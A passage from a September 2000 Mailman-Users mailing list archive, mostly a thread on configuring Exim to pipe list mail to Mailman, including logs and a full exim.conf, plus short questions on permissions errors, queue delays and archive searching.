From sam at mytrini.com  Thu Sep  7 08:24:09 2000
From: sam at mytrini.com (Derry Goberdhansingh)
Date: Thu, 7 Sep 2000 02:24:09 -0400
Subject: [Mailman-Users] Exim and beta5 -- Solved and Suggestion
References: <00f301c0188c$b4d945c0$0201a8c0@mytrini.com> <20000907163242.F10216@aphid.net>
Message-ID: <014901c01894$471b93f0$0201a8c0@mytrini.com>

Nm, I got it figured out. Stupid me didn't RTFM for exim and piped aliases.

I know this might be a pain, but could the maintainers of the put in a
simple README.EXIM and just have about 2-3 lines telling the users to edit
their exim.conf file under the Directors Configuration set the user to
*mail* and uncomment the line.

eg

######################################################################
#                      DIRECTORS CONFIGURATION                       #
#             Specifies how local addresses are handled              #
######################################################################
#                          ORDER DOES MATTER                         #
#   A local address is passed to each in turn until it is accepted.  #
######################################################################

<snip>

system_aliases:
  driver = aliasfile
  file_transport = address_file
  pipe_transport = address_pipe
  file = /etc/aliases
  search_type = lsearch
  user = mail


Just a suggestion to ease the reading of the extra docs. Yeah I know I'm
lazy =)

=====================
Jesus loves you.  Then again, so does Barney.
=====================

----- Original Message -----
From: "Chuck Dale" <bug at aphid.net>
To: <mailman-users at python.org>
Sent: Thursday, September 07, 2000 1:32 AM
Subject: Re: [Mailman-Users] Exim and beta5


> Please post some logs (perhaps mailman/logs/error|post,
> /var/log/mail.err|log).
>
> Are the corn jobs installed?
>
> Chuck
>
> Wrote Derry Goberdhansingh on Thu, Sep 07, 2000 at 01:30:14AM -0400:
> > Well I installed Mailman on my debian box, which is running Exim with a
mail
> > GID of 8 <-- mail user and group.
> >  I did a ./configure --with-mail-gid=8 and installed everything, I
created a
> > test list and added the aliases to the /etc/aliases file. I sent a
message
> > to the test list, that's where the problem comes in.... I don't get any
mail
> > from it. I've got two other accounts, seperate from the admin and I
tried
> > sending mail from both of them, but I still get a message from the list.
> >
> > Can someone please tell me what I'm possibly doing wrong? I did a cat
> > /etc/group and /etc/passwd to find out the mail GID, which turned out to
be
> > 8, with a UID of mail. I do have  FQDN so that's not the problem, I just
> > copied the aliases directly from what the newlist command gave me. So
that's
> > correct.
> >
> > Please help if you can.
> >
> >
> > =====================
> > I want to die in my sleep like my grandfather.. Not screaming and crying
> > like the passengers in his car.
> > =====================
> >
> >
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
>
>                [ charles hamilton dale <bug at aphid.net> ]
>
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
>




From bug at aphid.net  Thu Sep  7 08:29:57 2000
From: bug at aphid.net (Chuck Dale)
Date: Thu, 7 Sep 2000 17:29:57 +1100
Subject: [Mailman-Users] Exim and beta5
In-Reply-To: <00ff01c01891$3362c750$0201a8c0@mytrini.com>; from sam@mytrini.com on Thu, Sep 07, 2000 at 02:02:22AM -0400
References: <00f301c0188c$b4d945c0$0201a8c0@mytrini.com> <20000907163242.F10216@aphid.net> <00ff01c01891$3362c750$0201a8c0@mytrini.com>
Message-ID: <20000907172957.J10216@aphid.net>

Hmm. I've never used exim but it looks like you have to tell it
somewhere which UID to use for running the mailman scripts.

Ideas anyone?

Chuck

Wrote Derry Goberdhansingh on Thu, Sep 07, 2000 at 02:02:22AM -0400:
> Here is an output of mesages from /var/log/exim/paniclog
> 
> 2000-09-06 20:05:05 13Wq7l-0006VD-00 Neither the system_aliases director nor
> the address_pipe transport set a uid for local
>  delivery of |/home/mailman/mail/wrapper mailowner test
> 2000-09-06 20:06:03 13Wq8h-0006Vh-00 Neither the system_aliases director nor
> the address_pipe transport set a uid for local
>  delivery of |/home/mailman/mail/wrapper mailowner test
> 2000-09-06 20:06:05 13Wq8j-0006Vk-00 Neither the system_aliases director nor
> the address_pipe transport set a uid for local
>  delivery of |/home/mailman/mail/wrapper post test
> 
> Here is the some messages from /var/log/exim/mainlog
> 
> 
> 2000-09-06 20:05:14 13Wq7u-0006VS-00 <= test-admin at mytrini.com H=localhost
> (magi.mytrini.com) [127.0.0.1] U=www-data P=esmt
> p S=620
> 2000-09-06 20:05:14 13Wq7u-0006VS-00 => sam <sam at mytrini.com> D=localuser
> T=local_delivery
> 2000-09-06 20:05:14 13Wq7u-0006VS-00 Completed
> 2000-09-06 20:05:14 13Wq7u-0006VW-00 <= test-admin at mytrini.com H=localhost
> (magi.mytrini.com) [127.0.0.1] U=www-data P=esmt
> p S=1739
> 2000-09-06 20:05:14 13Wq7u-0006VZ-00 <= test-admin at mytrini.com H=localhost
> (magi.mytrini.com) [127.0.0.1] U=www-data P=esmt
> p S=626
> 2000-09-06 20:05:15 13Wq7u-0006VZ-00 => sam <sam at mytrini.com> D=localuser
> T=local_delivery
> 2000-09-06 20:05:15 13Wq7u-0006VZ-00 Completed
> 2000-09-06 20:05:17 13Wq7u-0006VW-00 => dgoberdh at speakeasy.org R=lookuphost
> T=remote_smtp H=gonzo.speakeasy.net [216.254.0.
> 5]
> 2000-09-06 20:05:17 13Wq7u-0006VW-00 Completed
> 2000-09-06 20:05:48 13Wq7t-0006VP-00 => dgoberdh at gmu.edu R=lookuphost
> T=remote_smtp H=portal.gmu.edu [129.174.1.8]
> 2000-09-06 20:05:48 13Wq7t-0006VP-00 Completed
> 2000-09-06 20:06:03 13Wq8h-0006Vh-00 <= test-admin at mytrini.com H=localhost
> (magi.mytrini.com) [127.0.0.1] U=mailman P=esmtp
>  S=834
> 2000-09-06 20:06:03 13Wq8h-0006Vh-00 Neither the system_aliases director nor
> the address_pipe transport set a uid for local
>  delivery of |/home/mailman/mail/wrapper mailowner test
> 2000-09-06 20:06:05 13Wq8j-0006Vk-00 <= dgoberdh at speakeasy.org
> H=lolita.speakeasy.net [216.254.0.13] P=smtp S=2084 id=00e70
> 1c0188b$247dd140$0201a8c0 at mytrini.com
> 2000-09-06 20:06:05 13Wq8j-0006Vk-00 Neither the system_aliases director nor
> the address_pipe transport set a uid for local
>  delivery of |/home/mailman/mail/wrapper post test
> 
> 
> Hope this helps.
> 
> 
> 
> 
> =====================
> "When I was a kid, we had a quicksand box in the back yard. Eventually I was
> an only child"  - Steven Wright
> =====================
> 
> 
> 
> 
> > Please post some logs (perhaps mailman/logs/error|post,
> > /var/log/mail.err|log).
> >
> > Are the corn jobs installed?
> >
> > Chuck
> >
> > Wrote Derry Goberdhansingh on Thu, Sep 07, 2000 at 01:30:14AM -0400:
> > > Well I installed Mailman on my debian box, which is running Exim with a
> mail
> > > GID of 8 <-- mail user and group.
> > >  I did a ./configure --with-mail-gid=8 and installed everything, I
> created a
> > > test list and added the aliases to the /etc/aliases file. I sent a
> message
> > > to the test list, that's where the problem comes in.... I don't get any
> mail
> > > from it. I've got two other accounts, seperate from the admin and I
> tried
> > > sending mail from both of them, but I still get a message from the list.
> > >
> > > Can someone please tell me what I'm possibly doing wrong? I did a cat
> > > /etc/group and /etc/passwd to find out the mail GID, which turned out to
> be
> > > 8, with a UID of mail. I do have  FQDN so that's not the problem, I just
> > > copied the aliases directly from what the newlist command gave me. So
> that's
> > > correct.
> > >
> > > Please help if you can.
> 
> 

               [ charles hamilton dale <bug at aphid.net> ]



From fabri at df.unipi.it  Thu Sep  7 10:55:25 2000
From: fabri at df.unipi.it (Elio Fabri)
Date: Thu, 07 Sep 2000 10:55:25 +0200
Subject: [Mailman-Users] Access to configuration page
Message-ID: <39B757FD.56A4DA4B@df.unipi.it>

I am a novel owner of two mailing lists under mailman. But I am not
allowed to change the settings of the list. I have access to the
configuration page, but all changes I try are without effect.
Nor am I allowed to change my password.
Con you help me? Thanks
-- 
Elio Fabri
Dip. di Fisica - Univ. di Pisa
Sez. Astronomia e Astrofisica



From nbecker at fred.net  Thu Sep  7 14:17:27 2000
From: nbecker at fred.net (nbecker at fred.net)
Date: 07 Sep 2000 08:17:27 -0400
Subject: [Mailman-Users] Exim and beta5
In-Reply-To: Chuck Dale's message of "Thu, 7 Sep 2000 17:29:57 +1100"
References: <00f301c0188c$b4d945c0$0201a8c0@mytrini.com> <20000907163242.F10216@aphid.net> <00ff01c01891$3362c750$0201a8c0@mytrini.com> <20000907172957.J10216@aphid.net>
Message-ID: <x88snrcz99k.fsf@adglinux1.hns.com>

Here is exim.conf I use that is tailored for mailman.  I got this from
the exim mail list.  It's brilliant!  Everything is automatic.
(Ignore the parts that are specific to my site)

######################################################################
#                  Runtime configuration file for Exim               #
######################################################################


# This is a default configuration file which will operate correctly in
# uncomplicated installations. Please see the manual for a complete list
# of all the runtime configuration options that can be included in a
# configuration file. There are many more than are mentioned here. The
# manual is in the file doc/spec.txt in the Exim distribution as a plain
# ASCII file. Other formats (PostScript, Texinfo, HTML, PDF) are available
# from the Exim ftp sites. The manual is also online via the Exim web sites.


# This file is divided into several parts, all but the last of which are
# terminated by a line containing the word "end". The parts must appear
# in the correct order, and all must be present (even if some of them are
# in fact empty). Blank lines, and lines starting with # are ignored.


# home dir for mailman
MAILMAN_HOME=/usr/share/mailman
# wrapper script for mailman
MAILMAN_WRAP=MAILMAN_HOME/mail/wrapper
# user and group for mailman
#MAILMAN_UID=mailman
MAILMAN_UID=mail

#MAILMAN_GID=mailman
MAILMAN_GID=mail



######################################################################
#                    MAIN CONFIGURATION SETTINGS                     #
######################################################################

# Specify your host's canonical name here. This should normally be the fully
# qualified "official" name of your host. If this option is not set, the
# uname() function is called to obtain the name.

# primary_hostname =


# Specify the domain you want to be added to all unqualified addresses
# here. An unqualified address is one that does not contain an "@" character
# followed by a domain. For example, "caesar at rome.ex" is a fully qualified
# address, but the string "caesar" (i.e. just a login name) is an unqualified
# email address. Unqualified addresses are accepted only from local callers by
# default. See the receiver_unqualified_{hosts,nets} options if you want
# to permit unqualified addresses from remote sources. If this option is
# not set, the primary_hostname value is used for qualification.

qualify_domain = hns.com


# If you want unqualified recipient addresses to be qualified with a different
# domain to unqualified sender addresses, specify the recipient domain here.
# If this option is not set, the qualify_domain value is used.

# qualify_recipient =


# Specify your local domains as a colon-separated list here. If this option
# is not set (i.e. not mentioned in the configuration file), the
# qualify_recipient value is used as the only local domain. If you do not want
# to do any local deliveries, uncomment the following line, but do not supply
# any data for it. This sets local_domains to an empty string, which is not
# the same as not mentioning it at all. An empty string specifies that there
# are no local domains; not setting it at all causes the default value (the
# setting of qualify_recipient) to be used.

local_domains_include_host
local_domains = hns.com:localhost:localhost.hns.com


# If you want to accept mail addressed to your host's literal IP address, for
# example, mail addressed to "user@[111.111.111.111]", then uncomment the
# following line, or supply the literal domain(s) as part of "local_domains"
# above. You also need to comment "forbid_domain_literals" below. This is not
# recommended for today's Internet.

# local_domains_include_host_literals


# The following line prevents Exim from recognizing addresses of the form
# "user@[111.111.111.111]" that is, with a "domain literal" (an IP address)
# instead of a named domain. The RFCs still require this form, but it makes
# little sense to permit mail to be sent to specific hosts by their IP address
# in the modern Internet, and this ancient format has been used by those
# seeking to abuse hosts by using them for unwanted relaying. If you really
# do want to support domain literals, remove the following line, and see
# also the "domain_literal" router below.

forbid_domain_literals


# No local deliveries will ever be run under the uids of these users (a colon-
# separated list). An attempt to do so gets changed so that it runs under the
# uid of "nobody" instead. This is a paranoic safety catch. Note the default
# setting means you cannot deliver mail addressed to root as if it were a
# normal user. This isn't usually a problem, as most sites have an alias for
# root that redirects such mail to a human administrator.

never_users = root


# The use of your host as a mail relay by any host, including the local host
# calling its own SMTP port, is locked out by default. If you want to permit
# relaying from the local host, you should set
#
host_accept_relay = localhost
#
# If you want to permit relaying through your host from certain hosts or IP
# networks, you need to set the option appropriately, for example
#
# host_accept_relay = my.friends.host : 131.111.0.0/16
#
# If you are an MX backup or gateway of some kind for some domains, you must
# set relay_domains to match those domains. This will allow any host to
# relay through your host to those domains.
#
# See the section of the manual entitled "Control of relaying" for more
# information.


# The setting below causes Exim to do a reverse DNS lookup on all incoming
# IP calls, in order to get the true host name. If you feel this is too
# expensive, you can specify the networks for which a lookup is done, or
# remove the setting entirely.

host_lookup = 0.0.0.0/0


# By default, Exim expects all envelope addresses to be fully qualified, that
# is, they must contain both a local part and a domain. If you want to accept
# unqualified addresses (just a local part) from certain hosts, you can specify
# these hosts by setting one or both of
#
# receiver_unqualified_hosts =
# sender_unqualified_hosts =
#
# to control sender and receiver addresses, respectively. When this is done,
# unqualified addresses are qualified using the settings of qualify_domain
# and/or qualify_recipient (see above).


# By default, Exim does not make any checks, other than syntactic ones, on
# incoming addresses during the SMTP dialogue. This reduces delays in SMTP
# transactions, but it does mean that you might accept messages with unknown
# recipients, and/or bad senders.

# Uncomment this line if you want incoming recipient addresses to be verified
# during the SMTP dialogue. Unknown recipients are then rejected at this stage,
# and the generation of a failure message is the job of the sending host.

# receiver_verify

# Uncomment this line if you want incoming sender addresses (return-paths) to
# be verified during the SMTP dialogue. Verification can normally only check
# that the domain exists.

# sender_verify


# Exim contains support for the Realtime Blocking List (RBL) that is being
# maintained as part of the DNS. See http://maps.vix.com/rbl/ for background.
# Uncommenting the first line below will make Exim reject mail from any
# host whose IP address is blacklisted in the RBL at maps.vix.com. Some
# others have followed the RBL lead and have produced other lists: DUL is
# a list of dial-up addresses, and ORBS is a list of open relay systems. The
# second line below checks all three lists.

# rbl_domains = rbl.maps.vix.com
# rbl_domains = rbl.maps.vix.com:dul.maps.vix.com:relays.orbs.org


# If you want Exim to support the "percent hack" for all your local domains,
# uncomment the following line. This is the feature by which mail addressed
# to x%y at z (where z is one of your local domains) is locally rerouted to
# x at y and sent on. Otherwise x%y is treated as an ordinary local part.

# percent_hack_domains = *

# Exim runs as user 'mail' and group 'mail'.
# -- Mark Bergsma <mark at mbergsma.demon.nl>

exim_user = mail
exim_group = mail

# Log to syslog as well.
# -- Mark Bergsma <mark at mbergsma.demon.nl>

#log_file_path = /var/log/exim/exim_%s.log : syslog

end



######################################################################
#                      TRANSPORTS CONFIGURATION                      #
######################################################################
#                       ORDER DOES NOT MATTER                        #
#     Only one appropriate transport is called for each delivery.    #
######################################################################

# A transport is used only when referenced from a director or a router that
# successfully handles an address.


# This transport is used for delivering messages over SMTP connections.

remote_smtp:
  driver = smtp

# Uncomment the following if you want to use Procmail as the
# delivery agent.
# -- Mark Bergsma <mark at mbergsma.demon.nl>

#procmail:
#  driver = pipe
#  command = "/usr/bin/procmail -Y -d ${local_part}"

# This transport is used for local delivery to user mailboxes in traditional
# BSD mailbox format. By default it will be run under the uid and gid of the
# local user, and requires the sticky bit to be set on the /var/mail directory.
# Some systems use the alternative approach of running mail deliveries under a
# particular group instead of using the sticky bit. The commented options below
# show how this can be done.

local_delivery:
  driver = appendfile
#  file = /var/spool/mail/${local_part}
  file = ${home}/inbox
  delivery_date_add
  envelope_to_add
  return_path_add
# group = mail
# mode = 0660


# This transport is used for handling pipe deliveries generated by alias
# or .forward files. If the pipe generates any standard output, it is returned
# to the sender of the message as a delivery error. Set return_fail_output
# instead of return_output if you want this to happen only when the pipe fails
# to complete normally. You can set different transports for aliases and
# forwards if you want to - see the references to address_pipe in the directors
# section below.

address_pipe:
  driver = pipe
  return_output


# This transport is used for handling deliveries directly to files that are
# generated by aliassing or forwarding.

address_file:
  driver = appendfile
  delivery_date_add
  envelope_to_add
  return_path_add


# This transport is used for handling autoreplies generated by the filtering
# option of the forwardfile director.

address_reply:
  driver = autoreply


list_transport:
  driver = pipe
  command = MAILMAN_WRAP post ${lc:$local_part}
  current_directory = MAILMAN_HOME
  home_directory = MAILMAN_HOME
  user = MAILMAN_UID
  group = MAILMAN_GID

list_request_transport:
  driver = pipe
  command = MAILMAN_WRAP mailcmd ${lc:$local_part}
  current_directory = MAILMAN_HOME
  home_directory = MAILMAN_HOME
  user = MAILMAN_UID
  group = MAILMAN_GID

list_admin_transport:
  driver = pipe
  command = MAILMAN_WRAP mailowner ${lc:$local_part}
  current_directory = MAILMAN_HOME
  home_directory = MAILMAN_HOME
  user = MAILMAN_UID
  group = MAILMAN_GID

######################################################################
## autoreply/vacation transport
uservacation:
  driver =  autoreply
  user = ${local_part}
  once = ${home}/vacation.once
  file = ${home}/vacation.txt
  log  = ${home}/vacation.log
  return_message = true
  text = "\
 ------                                                           ------\n\n\
 This message was automatically generated by email software\n\
 The delivery of your message has not been affected.\n\n\
 ------                                                           ------\n\n"
  to = "${sender_address}"
  subject =  "${if def:h_Subject: {Autoreply: $h_Subject:} {I am on vacation}}"

end



######################################################################
#                      DIRECTORS CONFIGURATION                       #
#             Specifies how local addresses are handled              #
######################################################################
#                          ORDER DOES MATTER                         #
#   A local address is passed to each in turn until it is accepted.  #
######################################################################

# Local addresses are those with a domain that matches some item in the
# "local_domains" setting above, or those which are passed back from the
# routers because of a "self=local" setting (not used in this configuration).


# This director handles aliasing using a traditional /etc/aliases file.
# If any of your aliases expand to pipes or files, you will need to set
# up a user and a group for these deliveries to run under. You can do
# this by uncommenting the "user" option below (changing the user name
# as appropriate) and adding a "group" option if necessary. Alternatively, you
# can specify "user" on the transports that are used. Note that those
# listed below are the same as are used for .forward files; you might want
# to set up different ones for pipe and file deliveries from aliases.

system_aliases:
  driver = aliasfile
  file = /etc/aliases
  search_type = lsearch
# user = exim
  file_transport = address_file
  pipe_transport = address_pipe


# This director handles forwarding using traditional .forward files.
# If you want it also to allow mail filtering when a forward file
# starts with the string "# Exim filter", uncomment the "filter" option.

# The no_verify setting means that this director will be skipped when
# verifying addresses if sender_verify or receiver_verify is set (though
# they are not set by default). Similarly, no_expn means that this director
# will be skipped if smtp_expn_hosts is set to allow any hosts to use the
# EXPN command.

# The check_ancestor option means that if the forward file generates an
# address that is an ancestor of the current one, the current one gets
# passed on instead. This covers the case where A is aliased to B and B
# has a .forward file pointing to A.

# The three transports specified at the end are those that are used when
# forwarding generates a direct delivery to a file, or to a pipe, or sets
# up an auto-reply, respectively.

userforward:
  driver = forwardfile
  file = .forward
  no_verify
  no_expn
  check_ancestor
# filter
  file_transport = address_file
  pipe_transport = address_pipe
  reply_transport = address_reply


######################################################################
## This director handles the automatic return of a vacation message
## vacation director....##

uservacation:
  driver = localuser
  transport = uservacation
  require_files = ${home}/vacation.txt
  # do not reply to errors or lists
  senders = "! ^.*-request at .*:\
              ! ^owner-.*@.*:\
              ! ^postmaster at .*:\
              ! ^listmaster at .*:\
              ! ^mailer-daemon at .*"
  # do not reply to errors and bounces or lists
  condition = "${if or {{match {$h_precedence:} {(?i)junk|bulk|list}} \
                        {eq {$sender_address} {}}} {no} {yes}}"
  # carry on checking regardless of the outcome of this  director...
  unseen
  no_expn
  no_verify
  user = ${local_part}

# Uncomment the following if you want to use Procmail.
# -- Mark Bergsma <mark at mbergsma.demon.nl>

#procmail:
#  driver = localuser
#  transport = procmail
#  require_files = /usr/bin/procmail


# This director matches local user mailboxes.

localuser:
  driver = localuser
  transport = local_delivery

## Directors section [this deals with local addresses]
## 
## First 2 directors rewrite list-owner or owner-list to list-admin
## This is only done if the list exists.
## List existence checks are done by seeing if the file
## MAILMAN_HOME/lists/config.db
## exists.  

list_owner_director:
  driver = smartuser
  require_files = MAILMAN_HOME/lists/${lc:$local_part}/config.db
  suffix = "-owner"
  new_address = "${lc:$local_part}-admin@${domain}"

owner_list_director:
  driver = smartuser
  require_files = MAILMAN_HOME/lists/${lc:$local_part}/config.db
  prefix = "owner-"
  new_address = "${lc:$local_part}-admin@${domain}"

##
## Next 3 directors direct admin, request and list mail to the appropriate
## transport.  List existence is checked as above.

list_admin_director:
  driver = smartuser
  suffix = -admin
  require_files = MAILMAN_HOME/lists/${lc:$local_part}/config.db
  transport = list_admin_transport

list_request_director:
  driver = smartuser
  suffix = -request
  require_files = MAILMAN_HOME/lists/${lc:$local_part}/config.db
  transport = list_request_transport

list_director:
  driver = smartuser
  require_files = MAILMAN_HOME/lists/${lc:$local_part}/config.db
  transport = list_transport

punt:
  driver = smartuser
  new_address = ${local_part}@hnssysa.hns.com

end



######################################################################
#                      ROUTERS CONFIGURATION                         #
#            Specifies how remote addresses are handled              #
######################################################################
#                          ORDER DOES MATTER                         #
#  A remote address is passed to each in turn until it is accepted.  #
######################################################################

# Remote addresses are those with a domain that does not match any item
# in the "local_domains" setting above.


# This router routes to remote hosts over SMTP using a DNS lookup with
# default options.

lookuphost:
  driver = lookuphost
  transport = remote_smtp


# This router routes to remote hosts over SMTP by explicit IP address,
# when an email address is given in "domain literal" form, for example,
# <user@[192.168.35.64]>. The RFCs require this facility. However, it is
# little-known these days, and has been exploited by evil people seeking
# to abuse SMTP relays. Consequently it is commented out in the default
# configuration. If you uncomment this router, you also need to comment out
# "forbid_domain_literals" above, so that Exim can recognize the syntax of
# domain literal addresses.

# domain_literal:
#   driver = ipliteral
#   transport = remote_smtp


end



######################################################################
#                      RETRY CONFIGURATION                           #
######################################################################

# This single retry rule applies to all domains and all errors. It specifies
# retries every 15 minutes for 2 hours, then increasing retry intervals,
# starting at 1 hour and increasing each time by a factor of 1.5, up to 16
# hours, then retries every 8 hours until 4 days have passed since the first
# failed delivery.

# Domain               Error       Retries
# ------               -----       -------

*                      *           F,2h,15m; G,16h,1h,1.5; F,4d,8h

end



######################################################################
#                      REWRITE CONFIGURATION                         #
######################################################################

# There are no rewriting specifications in this default configuration file.

end



######################################################################
#                   AUTHENTICATION CONFIGURATION                     #
######################################################################

# There are no authenticator specifications in this default configuration file.

# End of Exim configuration file



From Nigel.Metheringham at VData.co.uk  Thu Sep  7 14:39:44 2000
From: Nigel.Metheringham at VData.co.uk (Nigel Metheringham)
Date: Thu, 07 Sep 2000 13:39:44 +0100
Subject: [Mailman-Users] Exim and beta5 -- Solved and Suggestion 
In-Reply-To: Message from "Derry Goberdhansingh" <sam@mytrini.com> 
   of "Thu, 07 Sep 2000 02:24:09 EDT." <014901c01894$471b93f0$0201a8c0@mytrini.com> 
Message-ID: <E13X0y0-00078b-00@rioja.localnet>

sam at mytrini.com said:
> I know this might be a pain, but could the maintainers of the put in a
> simple README.EXIM and just have about 2-3 lines telling the users to
> edit their exim.conf file under the Directors Configuration set the
> user to *mail* and uncomment the line. 

I submitted one as a patch a few weeks back - should be in any 2.0 
release after beta5.

Incidently the README.exim is basically a straight dump of
	http://www.exim.org/howto/mailman.html

which I am reasonably sure is referenced in the main README files.

I guess I could add a note that exim aliases that invoke a pipe 
transport *must* have a uid associated with them... it defaults to not 
having one because that forces people to think before they unsecure 
their system :-)
However I'd strongly recommend not using aliases anyhow, although their 
might be case for doing so if you are using lots of disparate domains 
without common lists.

	Nigel.
-- 
[ - Opinions expressed are personal and may not be shared by VData - ]
[ Nigel Metheringham                  Nigel.Metheringham at VData.co.uk ]
[ Phone: +44 1423 850000                         Fax +44 1423 858866 ]





From nbecker at fred.net  Thu Sep  7 15:09:12 2000
From: nbecker at fred.net (nbecker at fred.net)
Date: 07 Sep 2000 09:09:12 -0400
Subject: [Mailman-Users] Exim and beta5 -- Solved and Suggestion
In-Reply-To: Nigel Metheringham's message of "Thu, 07 Sep 2000 13:39:44 +0100"
References: <E13X0y0-00078b-00@rioja.localnet>
Message-ID: <x88n1hktklj.fsf@adglinux1.hns.com>

I got the mailman SRPM from redhat.  They have setup using uid and gid
= mail, instead of mailman.  Also they install into
/usr/share/mailman.  So please note that users of the redhat RPMS will
want:

MAILMAN_HOME=/usr/share/mailman

MAILMAN_UID=mail
MAILMAN_GID=mail



From jarrell at vt.edu  Thu Sep  7 18:21:23 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Thu, 07 Sep 2000 12:21:23 -0400
Subject: [Mailman-Users] Sending delay in 2.0b5
In-Reply-To: <20000906191043.L17203@smack.uchicago.edu>
Message-ID: <4.3.2.7.2.20000907122051.00d77910@vtserf.cc.vt.edu>

At 07:10 PM 9/6/00 -0500, David Champion wrote:
>Is it normal for incoming mail to be delayed by several minutes before
>being processed and resent, or is this just my installation?  This is
>different behavior from my 1.0- installation.
>
>If it's normal, can it be accelerated?
>
>It seems like this has come up before, but I can't find it in the list
>archives (using the ultraseek).


Make sure you've updated your crontab with the current one, which runs qrunner
every minute.  All mail goes through the queue now, to prevent the possiblility of loss.
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From claw at nuron.com  Thu Sep  7 18:52:37 2000
From: claw at nuron.com (J C Lawrence)
Date: Thu, 07 Sep 2000 09:52:37 -0700
Subject: [Mailman-Users] Exim and beta5 
In-Reply-To: Message from "Derry Goberdhansingh" <sam@mytrini.com> 
   of "Thu, 07 Sep 2000 01:30:14 EDT." <00f301c0188c$b4d945c0$0201a8c0@mytrini.com> 
References: <00f301c0188c$b4d945c0$0201a8c0@mytrini.com> 
Message-ID: <15151.968345557@nuron.com>

On Thu, 7 Sep 2000 01:30:14 -0400 
Derry Goberdhansingh <sam at mytrini.com> wrote:

> Well I installed Mailman on my debian box, which is running Exim
> with a mail GID of 8 <-- mail user and group.  

What do you Exim mail logs show?

> I just copied the aliases directly from what the newlist command
> gave me. So that's correct.

I strongly recommend following Nigel's (rather good) Mailman HOWTO
on the Exim site.  You can skip any use of the aliases file
altogether.

-- 
J C Lawrence                                 Home: claw at kanga.nu
---------(*)                                Work: claw at nuron.com
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
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From second at willden.org  Thu Sep  7 20:50:07 2000
From: second at willden.org (Shawn Willden)
Date: Thu, 07 Sep 2000 12:50:07 -0600
Subject: [Mailman-Users] Admin problems with new installation
Message-ID: <39B7E35F.99107B39@willden.org>

I just installed the latest version of mailman (Beta 5) on a Mandrake
Linux 7.1 system and I'm having a problem.

I created a test list and if I try to go to the admin page for it I get
the following error:

Traceback:

Traceback (innermost last):
  File "/home/mailman/scripts/driver", line 96, in run_main
    main()
  File "/home/mailman/Mailman/Cgi/admin.py", line 136, in main
    mlist.Save()
  File "/home/mailman/Mailman/MailList.py", line 847, in Save
    self.__save(dict)
  File "/home/mailman/Mailman/MailList.py", line 822, in __save
    os.link(fname, fname_last)
OSError: [Errno 1] Operation not permitted

If I change the owner of lists/test/config.db to nobody (the user under
which the web server runs), this goes away and the admin page works
fine.

However, if I set the owner of the configuration file to nobody, the
list doesn't work and I get mail messages with the same error in them.
Setting the owner of the config database to mailman fixes this problem,
but breaks the admin page.

Does anyone know what's wrong?

Shawn.






From sclark at rwii.com  Thu Sep  7 21:52:05 2000
From: sclark at rwii.com (Steven J. Clark)
Date: Thu, 07 Sep 2000 15:52:05 -0400
Subject: [Mailman-Users] search engine?  archiving old messages?
Message-ID: <39B7F1E5.E6047CF3@rwii.com>

Maybe I'm missing something obvious.  I couldn't find any documentation
that answered my questions.

Can a search engine be hooked up to a mailman email archive?  Would I be
exploring new territory to attempt to do so, or have others blazed a
trail?

Can I take a pile of old email and dump it into mailman so it's in the
archive?

Thanks,

Steve Clark



From rpyne at kinfolk.org  Thu Sep  7 21:54:10 2000
From: rpyne at kinfolk.org (Richard Pyne)
Date: Thu, 7 Sep 2000 13:54:10 -0600
Subject: [Mailman-Users] Admin problems with new installation
In-Reply-To: <39B7E35F.99107B39@willden.org>
References: <39B7E35F.99107B39@willden.org>
Message-ID: <00090713572400.14957@teton>

Same problem I had. Dump the secure kernel. By default the Mandrake 7.1
installs the security enhanced version of Linux. Like many things, it
has been improved until it is worthless. I found that it broke so many
things that it was NOT work the minor security gains.

The install also installs a "non-secure" kernel that works just fine.
All you have to do is change which kernel boots by default using either
grub or lilo depending on which you installed (grub is the default).

--Richard


On Thu, 07 Sep 2000, Shawn Willden wrote:
> I just installed the latest version of mailman (Beta 5) on a Mandrake
> Linux 7.1 system and I'm having a problem.
> 
> I created a test list and if I try to go to the admin page for it I get
> the following error:
> 
> Traceback:
> 
> Traceback (innermost last):
>   File "/home/mailman/scripts/driver", line 96, in run_main
>     main()
>   File "/home/mailman/Mailman/Cgi/admin.py", line 136, in main
>     mlist.Save()
>   File "/home/mailman/Mailman/MailList.py", line 847, in Save
>     self.__save(dict)
>   File "/home/mailman/Mailman/MailList.py", line 822, in __save
>     os.link(fname, fname_last)
> OSError: [Errno 1] Operation not permitted
> 
> If I change the owner of lists/test/config.db to nobody (the user under
> which the web server runs), this goes away and the admin page works
> fine.
> 
> However, if I set the owner of the configuration file to nobody, the
> list doesn't work and I get mail messages with the same error in them.
> Setting the owner of the config database to mailman fixes this problem,
> but breaks the admin page.
> 
> Does anyone know what's wrong?
> 
> Shawn.
> 
> 
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users



From claw at nuron.com  Thu Sep  7 23:03:55 2000
From: claw at nuron.com (J C Lawrence)
Date: Thu, 07 Sep 2000 14:03:55 -0700
Subject: [Mailman-Users] search engine? archiving old messages? 
In-Reply-To: Message from "Steven J. Clark" <sclark@rwii.com> 
   of "Thu, 07 Sep 2000 15:52:05 EDT." <39B7F1E5.E6047CF3@rwii.com> 
References: <39B7F1E5.E6047CF3@rwii.com> 
Message-ID: <19043.968360635@nuron.com>

On Thu, 07 Sep 2000 15:52:05 -0400 
Steven J Clark <sclark at rwii.com> wrote:

> Can a search engine be hooked up to a mailman email archive?

Sure, tho I'd recommend using another external archiver for bett
formatting and presentation control.

> Would I be exploring new territory to attempt to do so, or have
> others blazed a trail?

Many have taken various tacks there.  I use MHonArc as an external
archiver with UdmSearch for indexing.  See:

  http://www.kanga.nu/archives/

-- 
J C Lawrence                                 Home: claw at kanga.nu
---------(*)                                Work: claw at nuron.com
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--



From laur at grapefruitdesign.com  Fri Sep  8 01:15:54 2000
From: laur at grapefruitdesign.com (Laurian Gridinoc)
Date: Fri, 08 Sep 2000 02:15:54 +0300
Subject: [Mailman-Users] help sendmail aliases
Message-ID: <39B821AA.9040409@grapefruitdesign.com>

Hello there,

I cannot figure out how to make sendmail not to bounce an error for the 
email addresses mailman should hook.
